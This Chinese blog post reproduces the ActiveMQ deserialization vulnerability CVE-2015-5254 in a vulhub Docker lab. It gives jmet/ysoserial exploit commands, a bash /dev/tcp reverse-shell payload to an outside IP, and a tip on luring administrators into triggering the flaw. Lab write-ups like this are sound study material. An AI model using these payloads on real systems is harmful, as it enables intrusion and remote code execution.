ActiveMQ反序列化漏洞(CVE-2015-5254)复现
2022-03-12 10:21:09
ActiveMQ反序列化漏洞(CVE-2015-5254)复现
漏洞来源
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞环境搭建
我用的是docker搭建的vulhub很方便,里面有很多漏洞。
下载过程就不多说了。进入所要复现的漏洞。
1 | # 进入文件夹后运行下面命令 |
等待完成即可。运行后将监听61616端口和8161端口。61616是消息传递端口。8161是后台管理员界面。出现如下页面就是访问成功
1 | http://you ip:8161 |
下面访问管理员界面。http://you ip:8161/admin。输入默认账号密码admin/admin
漏洞复现
漏洞利用过程如下
- 构造(可以使用的ysoseria)可执行命令的序列化对象。
- 作为一个消息,发送给目标端口61616.
- 访问的web管理界面,读取消息,触发漏洞。
使用jmet进行漏洞利用
- 首先下载jmet的jar文件,并在同目录下创建external文件夹。jmet原理是使用ysoserial生成payload并发送。所以我们需要在ysoserial是gadget中选择一个可以使用的,比如rome。
1 | cd /opt |
- 执行命令
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME ip 61616 |
这里解释一下这个命令的意思,调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 -s 是选择ysoserial payload -Y 是攻击模式和内容 -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
- 此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息
点击可以查看触发的命令
-
进入容器查看
1
docker exec -it id /bin/bash
-
查看到/tmp已成功创建,说明漏洞利用成功。
- 反弹shell
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/1234>&1" -Yp ROME ip 61616 |
1 | nc -lvvp 1234 |
即可查看反弹成功。
这里遇到点小问题,就是java8以上的版本会报错无法调用sun的包,只需要换成8或以下的版本即可,毕竟是15年的漏洞了。
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发
参考链接:vulhub